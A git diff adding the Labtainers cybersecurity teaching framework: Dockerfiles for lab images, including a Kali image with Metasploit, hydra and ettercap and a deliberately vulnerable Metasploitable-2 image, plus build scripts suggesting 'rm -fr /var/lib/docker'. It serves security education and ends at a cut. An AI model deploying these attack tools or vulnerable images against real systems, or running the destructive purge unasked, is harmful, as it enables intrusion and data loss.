000000000..f79b23db4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/sources.list @@ -0,0 +1,2 @@ +deb http://ubuntumirror.uc.nps.edu/ubuntu/ xenial main restricted +deb http://ubuntumirror.uc.nps.edu/ubuntu/ xenial-updates main restricted diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/README b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/README new file mode 100644 index 000000000..6ef01ba70 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/README @@ -0,0 +1,11 @@ +README for Labtainers trunk/scripts directory + +labtainers-student -- the work directory for running and +testing student labs. You must be in that directory to run +student labs. + +labtainers-instructor -- the work directory for +running and testing automated assessment and viewing student +results. + +designer -- supporting scripts and templates for lab designers. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.base b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.base new file mode 100644 index 000000000..af6543dc9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.base @@ -0,0 +1,50 @@ +FROM solita/ubuntu-systemd +LABEL description="Labtainer base image from ubuntu-systemd" +ARG lab +RUN mv /etc/apt/sources.list /var/tmp/ +ADD system/etc/nps.sources.list /etc/apt/sources.list +ADD system/bin/apt-source.sh /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends \ + build-essential \ + expect \ + file \ + gcc-multilib \ + gdb \ + iputils-ping \ + less \ + man \ + manpages-dev \ + net-tools \ + openssh-client \ + python \ + sudo \ + tcl8.6 \ + vim \ + zip \ + hexedit \ + rsyslog \ + ghex \ + leafpad \ + locales \ + nano \ + python-pip + +# Set the locale +RUN locale-gen en_US.UTF-8 +ENV LANG en_US.UTF-8 +ENV LANGUAGE en_US:en +ENV LC_ALL en_US.UTF-8 +RUN sudo pip install --upgrade pip +RUN sudo pip install setuptools +RUN sudo pip install parse +RUN pip install inotify_simple +RUN pip install enum +ADD system/etc/sudoers /etc/sudoers +ADD system/etc/rc.local /etc/rc.local +ADD system/bin/funbuffer /usr/bin/ +# manage default gateways +ADD system/bin/togglegw.sh /usr/bin/ +ADD system/bin/set_default_gw.sh /usr/bin/ +ADD system/sbin/waitparam.sh /sbin/waitparam.sh +ADD system/lib/systemd/system/waitparam.service /lib/systemd/system/waitparam.service +RUN systemctl enable waitparam.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.centos b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.centos new file mode 100644 index 000000000..22bf9f553 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.centos @@ -0,0 +1,31 @@ +FROM centos/systemd +LABEL description="This is base Docker image for Labtainer CENTOS images" +# +# Labtainer base image for CENTOS builds +ENV LANG en_US.UTF-8 +ENV LANGUAGE en_US:en +ENV LC_ALL en_US.UTF-8 +RUN sed -i '/tsflags=nodocs/d' /etc/yum.conf +RUN mkdir /var/tmp/yum.repos.d +RUN mv /etc/yum.repos.d/* /var/tmp/yum.repos.d +ADD system/etc/nps.repo /etc/yum.repos.d/CentOS-Base.repo +ADD system/bin/yum-source.sh /usr/bin/yum-source.sh +RUN yum install -y sudo rsyslog which less openssh-server openssh-clients man man-pages nano gdb file net-tools \ + python hexedit wget tcpdump nc xinetd expect tcl ghex epel-release leafpad iptables-services bind-utils dnsmasq nmap vim +RUN yum install -y python-pip +RUN sudo pip install --upgrade pip +RUN sudo pip install setuptools +RUN sudo pip install parse +RUN pip install inotify_simple +RUN pip install enum +RUN systemctl enable rsyslog +ADD system/etc/sudoers /etc/sudoers +ADD system/bin/funbuffer-8.5 /usr/bin/funbuffer +# put in /sbin so last in path search +# this is the ubuntu version, which seems to work on /dev/pts. +ADD system/bin/login /sbin/login +# manage default gateways +ADD system/bin/togglegw.sh /usr/bin/ +ADD system/bin/set_default_gw.sh /usr/bin/ + +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.centos.xtra b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.centos.xtra new file mode 100644 index 000000000..2e5ed10f8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.centos.xtra @@ -0,0 +1,13 @@ +ARG registry +FROM $registry/labtainer.centos +LABEL description="This is the extended base Docker image for Labtainer CentOS images" +RUN yum install -y liberation-sans-fonts xcb-util +RUN yum install -y http://dl.fedoraproject.org/pub/epel/6/x86_64/Packages/l/leafpad-0.8.18.1-1.el6.x86_64.rpm +RUN wget https://forensics.cert.org/cert-forensics-tools-release-el7.rpm -P /tmp +RUN rpm -Uvh /tmp/cert-forensics-tools-release*rpm +RUN yum --enablerepo=forensics install -y ghex +ADD system/usr/share/man/man1.tar /usr/share/man +# CFS: it will end up in /usr/sbin anyway. no idea why. so hack up a unique waitparam.service +ADD system/sbin/waitparam.sh /usr/sbin/waitparam.sh +ADD system/lib/systemd/system/waitparam.service.cfs /lib/systemd/system/waitparam.service +RUN systemctl enable waitparam.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.firefox b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.firefox new file mode 100644 index 000000000..d0fc556d5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.firefox @@ -0,0 +1,10 @@ +ARG registry +FROM $registry/labtainer.base +LABEL description="This is base Docker image for Labtainer browsers" +RUN apt-get update && apt-get install -y --no-install-recommends nmap libcanberra-gtk3-module firefox sqlite3 && rm -rf /var/cache/apt/ +# modified to create new instance +ADD system/bin/firefox /usr/bin/ +# the firefox user profile which paramterize.sh will extract and remove. +COPY system/var/tmp/home.tar /var/tmp/ +RUN systemd-machine-id-setup + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.java b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.java new file mode 100644 index 000000000..37ab65a3d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.java @@ -0,0 +1,3 @@ +FROM mfthomps/labtainer.firefox +LABEL description="This is base Docker image for Labtainer containers with browser and a JDK" +RUN apt-get update && apt-get install -y --no-install-recommends default-jdk diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.kali b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.kali new file mode 100644 index 000000000..c93e324fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.kali @@ -0,0 +1,69 @@ +FROM kalilinux/kali-linux-docker +RUN apt-get update && apt-get install -y --no-install-recommends metasploit-framework python-pip +RUN apt-get install -y --no-install-recommends \ + expect \ + tcl8.6 \ + man \ + manpages-dev \ + net-tools \ + libgtk-3-dev \ + libdbus-glib-1-dev \ + libxt6 \ + sshpass \ + tcpreplay \ + openssh-server \ + hydra \ + ettercap-text-only \ + tcpdump \ + update-inetd \ + xinetd \ + python-dev + +RUN apt-get install -y --no-install-recommends build-essential +RUN apt-get install -y --no-install-recommends wget gnupg + +RUN pip install --upgrade pip +RUN pip install setuptools +RUN pip install parse inotify_simple enum + +RUN pip install pexpect netifaces selenium + +RUN echo "deb http://downloads.sourceforge.net/project/ubuntuzilla/mozilla/apt all main" | tee -a /etc/apt/sources.list > /dev/null +RUN apt-key adv --recv-keys --keyserver keyserver.ubuntu.com C1289A29 +RUN apt-get update && apt-get install -y --no-install-recommends firefox-mozilla-build + +RUN apt-get update && apt-get install -y --no-install-recommends sudo \ + less \ + man \ + manpages-dev \ + hexedit \ + xauth \ + lsof \ + nfs-common \ + rpcbind \ + rsh-client \ + ruby-dev \ + libpq-dev \ + libpcap-dev \ + libsqlite3-dev \ + telnet + +ADD system/etc/sudoers /etc/sudoers +ADD system/etc/rc.local /etc/rc.local +ADD system/bin/funbuffer /usr/bin/ +# manage default gateways +ADD system/bin/togglegw.sh /usr/bin/ +ADD system/bin/set_default_gw.sh /usr/bin/ +# +# enable sshd +ADD system/var/run/sshd /var/run/sshd +RUN chmod 0755 /var/run/sshd + +# Ruby gems +RUN gem install nokogiri -v '1.8.2' +RUN gem install pg -v '0.20.0' +RUN gem install pcaprub -v '0.12.4' +RUN gem install sqlite3 -v '1.3.13' +RUN rm -rf /usr/share/metasploit-framework/.bundle +RUN cd /usr/share/metasploit-framework && bundle install + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.lamp b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.lamp new file mode 100644 index 000000000..8e03f56af --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.lamp @@ -0,0 +1,10 @@ +ARG registry +FROM $registry/labtainer.centos +LABEL description="This is base Docker image for Labtainer CENTOS-hosted LAMP images" +# +RUN wget http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm +RUN rpm -ivh mysql-community-release-el7-5.noarch.rpm +RUN yum -y update +RUN yum install -y httpd mysql-server php php-mcrypt php-mysqlnd php-xml php-gd php-mbstring mod_ssl +RUN systemctl enable httpd.service +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.lamp.xtra b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.lamp.xtra new file mode 100644 index 000000000..9bb0cebcd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.lamp.xtra @@ -0,0 +1,9 @@ +ARG registry +FROM $registry/labtainer.lamp +ADD system/etc/systemd/system/httpd.service /etc/systemd/system/ +# change link to new httpd.service file +RUN systemctl disable httpd.service +RUN systemctl enable httpd.service +ADD system/sbin/waitparam.sh /sbin/waitparam.sh +ADD system/lib/systemd/system/waitparam.service.cfs /lib/systemd/system/waitparam.service +RUN systemctl enable waitparam.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.master b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.master new file mode 100644 index 000000000..c7c177229 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.master @@ -0,0 +1,79 @@ +# +# Create a master Labtainer image for use in running Labtainers from a container +# on any system that has Docker installed, withou having to install Labtainers. +# Thanks for Olivier Berger for this contribution. +# +FROM ubuntu:xenial +LABEL description="This is Docker image for the Labtainers master controller" +RUN apt-get update && apt-get install -y --no-install-recommends \ + apt-transport-https \ + ca-certificates \ + curl \ + software-properties-common + +# +ARG DOCKER_GROUP_ID +RUN groupadd -g $DOCKER_GROUP_ID docker + +# +RUN curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add - && \ + add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" && \ + apt-get update && \ + apt-get install -y --no-install-recommends docker-ce + +# Set the locale +RUN apt-get install -y --no-install-recommends \ + locales +RUN locale-gen en_US.UTF-8 +ENV LANG en_US.UTF-8 +ENV LANGUAGE en_US:en +ENV LC_ALL en_US.UTF-8 +# RUN sudo pip install --upgrade pip +# RUN sudo pip install setuptools +# RUN sudo pip install parse +# RUN pip install inotify_simple +# RUN pip install enum +# ADD system/etc/sudoers /etc/sudoers +# ADD system/etc/rc.local /etc/rc.local +# ADD system/bin/funbuffer /usr/bin/ +# # manage default gateways +# ADD system/bin/togglegw.sh /usr/bin/ +# ADD system/bin/set_default_gw.sh /usr/bin/ + +RUN apt-get install -y --no-install-recommends \ + python \ + python-pip \ + python-setuptools +RUN pip install netaddr parse python-dateutil + +RUN apt-get install -y --no-install-recommends \ + x11-xserver-utils \ + xterm \ + gnome-terminal + +RUN apt-get install -y --no-install-recommends \ + less \ + iputils-ping + +# For gnome-terminal +RUN apt-get install -y --no-install-recommends \ + dbus-x11 + +RUN useradd -ms /bin/bash labtainer +RUN usermod -aG docker labtainer + +USER labtainer +WORKDIR /home/labtainer + +COPY --chown=labtainer:labtainer labtainer.tar /home/labtainer +RUN tar xf labtainer.tar +RUN rm labtainer.tar +RUN cd labtainer && ln -s trunk/scripts/labtainer-student +RUN cd labtainer && ln -s trunk/scripts/labtainer-instructor + +COPY --chown=labtainer:labtainer bashrc.labtainer.master /home/labtainer +RUN cat bashrc.labtainer.master >>/home/labtainer/.bashrc + +COPY --chown=labtainer:labtainer labutils.py /home/labtainer/labtainer/labtainer-student/bin/ + +ENV DISPLAY :0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.metasploitable b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.metasploitable new file mode 100644 index 000000000..5897357a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.metasploitable @@ -0,0 +1,20 @@ +# +# create a Metasploitable-2 docker image based on a tar backed up off +# a Metasploitable-2 VM +# +FROM scratch +ADD system/msf.tar.gz / +RUN set -ex \ + && echo '' > /etc/fstab \ + && cp /sbin/init /sbin/init.real +# +# using old distribution, back in time +# +RUN sed -i.bak -r 's/us.(archive|security).ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list +RUN sed -i.bak -r 's/(archive|security).ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list +RUN sed -i.bak -r 's/# %sudo /%sudo /' /etc/sudoers +ADD system/etc/rc.local /etc/rc.local +ADD system/bin/funbuffer /usr/bin/ +# manage default gateways +ADD system/bin/togglegw.sh /usr/bin/ +ADD system/bin/set_default_gw.sh /usr/bin/ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.network b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.network new file mode 100644 index 000000000..2f6c2d546 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.network @@ -0,0 +1,26 @@ +ARG registry +FROM $registry/labtainer.base +LABEL description="This is base Docker image for networking Parameterized labs" +ARG lab +RUN apt-get update && apt-get install -y --no-install-recommends \ + openssl \ + openssh-server \ + openvpn \ + wget \ + tcpdump \ + update-inetd \ + xinetd \ + iptables \ + dnsutils \ + dnsmasq \ + nmap \ + netcat-openbsd + +# step around app armor or whatever +RUN sudo mv /usr/sbin/tcpdump /usr/bin/tcpdump +# ssh server fu, otherwise it won't run +ADD system/var/run/sshd /var/run/sshd +RUN sudo chmod 0755 /var/run/sshd +RUN systemctl disable dnsmasq +RUN rm /etc/systemd/system/multi-user.target.wants/openvpn.service +RUN rm /etc/systemd/system/multi-user.target.wants/ssh.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.wireshark b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.wireshark new file mode 100644 index 000000000..2172bc6a7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/Dockerfile.labtainer.wireshark @@ -0,0 +1,9 @@ +ARG registry +FROM $registry/labtainer.network +LABEL description="This is base Docker image for Labtainer network components with wireshark" +RUN echo 'wireshark-common wireshark-common/install-setuid boolean true' | debconf-set-selections +RUN apt-get update && apt-get install -y --no-install-recommends wireshark +RUN chmod a+x /usr/bin/dumpcap +# modified to create new instance +RUN systemd-machine-id-setup + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/README b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/README new file mode 100644 index 000000000..7b6551e5d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/base_dockerfiles/README @@ -0,0 +1,5 @@ +NOTE: It can be rude to modify baseline images because it may cause a +2 GB update on some systems. + +Instead, use the .xtra strategy where we chain images. Then alter the +individual labs to draw from the .xtra image. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/README b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/README new file mode 100644 index 000000000..6786bce9c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/README @@ -0,0 +1,7 @@ +Always first create a test registry image and sort that out. + +If a baseline image needs to be reverted, pull it from the mfthomps, tag +it as the same name without the registry, then publish it to the +test registry. + +Creation and publishing of grader images is done in trunk/distrib/publish_grader.py diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/cleanlab4svn.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/cleanlab4svn.py new file mode 100755 index 000000000..9a09811c2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/cleanlab4svn.py @@ -0,0 +1,151 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' +import glob +import os +import sys +import tarfile + +# Filename: cleanlab4svn.py +# Description: +# This is the lab setup script to be run by the lab designer. +# This script must be run from a lab directory. +# This script will remove the following: +# 1. Any tarball '*.tar.gz' in the lab directory, i.e., /*.tar.gz files +# 2. Any tar list file, i.e., /config/*_tar.list files +# 3. Any empty tar file, i.e., //*tar/*.tar files +# 4. Any pdf file in docs directory, i.e., /docs/*.pdf files +# Note: +# 1. This script checks to make sure LABTAINER_DIR is defined +# +LABTAINER_DIR=None + +def DoWork(current_dir, lab_name): + # This script will remove the following: + # 1. Any tarball '*.tar.gz' in the lab directory, i.e., /*.tar.gz files + tarball_list = glob.glob('%s/*.tar.gz' % current_dir) + #print "tarball_list is (%s)" % tarball_list + for name in tarball_list: + #print "current name is %s" % name + try: + os.remove(name) + except: + print("Fails to remove tarball (%s)" % name) + sys.exit(1) + + # 2. Any tar list file, i.e., /config/*_tar.list files + tarlist_list = glob.glob('%s/config/*_tar.list' % current_dir) + #print "tarlist_list is (%s)" % tarlist_list + for name in tarlist_list: + #print "current name is %s" % name + try: + os.remove(name) + except: + print("Fails to remove tar list file (%s)" % name) + sys.exit(1) + + # 3. Any empty tar file, i.e., //*tar/*.tar files + tarfile_list = glob.glob('%s/*/*tar/*.tar' % current_dir) + #print "tarfile_list is (%s)" % tarfile_list + for name in tarfile_list: + external_manifest_file = os.path.join(os.path.dirname(name), "external-manifest") + #print "External manifest file is (%s)" % external_manifest_file + # If "external-manifest" file exist, just remove the tar file + if os.path.exists(external_manifest_file): + try: + os.remove(name) + except: + print("File external-manifest exists, but fails to remove tar file (%s)" % name) + sys.exit(1) + continue + #print "current name is %s" % name + if not os.path.isfile(name): + print("File (%s) has tar but is not a file" % name) + sys.exit(1) + with tarfile.open(name) as archive: + count = sum(1 for member in archive if member.isreg()) + if count == 0: + try: + os.remove(name) + except: + print("Fails to remove tar file (%s)" % name) + sys.exit(1) + + # 4. Any pdf file in docs directory, i.e., /docs/*.pdf files that starts + # with the labname + pdflist = glob.glob('%s/docs/*.pdf' % current_dir) + #print "pdflist is (%s)" % pdflist + for name in pdflist: + #print "current name is %s" % name + if os.path.basename(name).startswith(lab_name): + try: + os.remove(name) + except: + print("Fails to remove PDF file (%s)" % name) + sys.exit(1) + +def check_valid_lab(current_dir): + parent_dir = os.path.basename(os.path.dirname(current_dir)) + if parent_dir != "labs": + sys.stderr.write('Lab directories must be below the labs parent directory.\n') + sys.exit(1) + labname = os.path.basename(current_dir) + if labname != labname.lower(): + print('Lab name is (%s)' % labname) + print('Lab names must be all lower case') + sys.exit(1) + elif ' ' in labname: + print('Lab name is (%s)' % labname) + print('Lab names cannot contain spaces') + sys.exit(1) + config_dir = os.path.join(current_dir, "config") + if not (os.path.exists(config_dir) and os.path.isdir(config_dir)): + print('Missing config directory') + sys.exit(1) + return labname + +def usage(): + sys.stderr.write("Usage: cleanlab4svn.py [ -h ]\n") + sys.stderr.write(" -h : Display usage\n") + sys.stderr.write("This script must be run from a lab directory.\n") + sys.stderr.write("This script will remove the following:\n") + sys.stderr.write("1. Any tarball '*.tar.gz' in the lab directory, i.e., /*.tar.gz files\n") + sys.stderr.write("2. Any tar list file, i.e., /config/*_tar.list files\n") + sys.stderr.write("3. Any empty tar file, i.e., //*tar/*.tar files\n") + sys.exit(1) + +# Usage: cleanlab4svn.py [ -h ] +# Arguments: +# -h : Display usage +def main(): + try: + LABTAINER_DIR = os.environ['LABTAINER_DIR'] + except: + sys.stderr.write('LABTAINER_DIR environment variable not set.\n') + sys.exit(1) + + num_arg = len(sys.argv) + #print("LABTAINER_DIR is (%s)" % LABTAINER_DIR) + #print("number of arguments is (%d)" % num_arg) + + current_dir = os.getcwd() + lab_name = check_valid_lab(current_dir) + if num_arg == 1: + DoWork(current_dir, lab_name) + else: + # Display usage regardless of what the argument is + usage() + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_all.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_all.sh new file mode 100755 index 000000000..db5efc8c4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_all.sh @@ -0,0 +1,25 @@ +#TEST_ARG=-t +#echo "Using test registry" +docker login +export DOCKER_LOGIN=YES +./create_base_image.sh +./publish_image.sh labtainer.base $TEST_ARG + +./create_network_image.sh -f $TEST_ARG +./publish_image.sh labtainer.network $TEST_ARG + +./create_wireshark_image.sh -f $TEST_ARG +./publish_image.sh labtainer.wireshark $TEST_ARG + +./create_firefox_image.sh -f $TEST_ARG +./publish_image.sh labtainer.firefox $TEST_ARG + +./create_java_image.sh -f $TEST_ARG +./publish_image.sh labtainer.java $TEST_ARG + +#./create_centos_image.sh $TEST_ARG +#./publish_image.sh labtainer.centos $TEST_ARG +# +#./create_lamp_images.sh -f $TEST_ARG +#./publish_image.sh labtainer.lamp $TEST_ARG + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_base_image.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_base_image.sh new file mode 100755 index 000000000..302b85c71 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_base_image.sh @@ -0,0 +1,24 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +if [[ "$1" != -f ]]; then + echo "This will build the labtainer base image. It is suggested that all " + echo "other images be purged, e.g., rm -fr /var/lib/docker. " + read -p "Continue? (y/n)" + if [[ ! $REPLY =~ ^[Yy]$ ]] + then + echo exiting + exit + fi +fi +here=`pwd` +cd ../ +docker build -f base_dockerfiles/Dockerfile.labtainer.base -t labtainer.base:latest . +cd $here diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_centos_image.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_centos_image.sh new file mode 100755 index 000000000..224d3d259 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_centos_image.sh @@ -0,0 +1,14 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +here=`pwd` +cd ../ +docker build -f base_dockerfiles/Dockerfile.labtainer.centos -t labtainer.centos:latest . +cd $here diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_firefox_image.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_firefox_image.sh new file mode 100755 index 000000000..4c7fe707b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_firefox_image.sh @@ -0,0 +1,28 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +source ./set_reg.sh +if [[ "$1" != -f ]]; then + echo "This will build the labtainer firefox image. " + echo "Confirm that the labtainer.base has been published." + echo "registry is $LABTAINER_REGISTRY" + read -p "Continue? (y/n)" + if [[ ! $REPLY =~ ^[Yy]$ ]] + then + echo exiting + exit + fi +else + echo "registry is $LABTAINER_REGISTRY" +fi +here=`pwd` +cd ../ +docker build --build-arg registry=$LABTAINER_REGISTRY -f base_dockerfiles/Dockerfile.labtainer.firefox -t labtainer.firefox:latest . +cd $here diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_image.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_image.sh new file mode 100755 index 000000000..7fc872698 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_image.sh @@ -0,0 +1,28 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +source ./set_reg.sh +if [[ "$2" != -f ]]; then + echo "This will build the labtainer $1 image. " + echo "Confirm that the dependent images have been published." + echo "registry is $LABTAINER_REGISTRY" + read -p "Continue? (y/n)" + if [[ ! $REPLY =~ ^[Yy]$ ]] + then + echo exiting + exit + fi +else + echo "registry is $LABTAINER_REGISTRY" +fi +here=`pwd` +cd ../ +docker build --build-arg registry=$LABTAINER_REGISTRY -f base_dockerfiles/Dockerfile.labtainer.$1 -t labtainer.$1:latest . +cd $here diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_java_image.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_java_image.sh new file mode 100755 index 000000000..11c03d11b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_java_image.sh @@ -0,0 +1,28 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +source ./set_reg.sh +if [[ "$1" != -f ]]; then + echo "This will build the labtainer java image. " + echo "Confirm that the labtainer.firefox has been published." + echo "registry is $LABTAINER_REGISTRY" + read -p "Continue? (y/n)" + if [[ ! $REPLY =~ ^[Yy]$ ]] + then + echo exiting + exit + fi +else + echo "registry is $LABTAINER_REGISTRY" +fi +here=`pwd` +cd ../ +docker build --build-arg registry=$LABTAINER_REGISTRY -f base_dockerfiles/Dockerfile.labtainer.java -t labtainer.java:latest . +cd $here diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_kali_image.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_kali_image.sh new file mode 100755 index 000000000..064858e5f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_kali_image.sh @@ -0,0 +1,24 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +if [[ "$1" != -f ]]; then + echo "This will build the labtainer base image. It is suggested that all " + echo "other images be purged, e.g., rm -fr /var/lib/docker. " + read -p "Continue? (y/n)" + if [[ ! $REPLY =~ ^[Yy]$ ]] + then + echo exiting + exit + fi +fi +here=`pwd` +cd ../ +docker build -f base_dockerfiles/Dockerfile.labtainer.kali -t labtainer.kali:latest . +cd $here diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_lamp_images.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/bin/create_lamp_images.sh new file 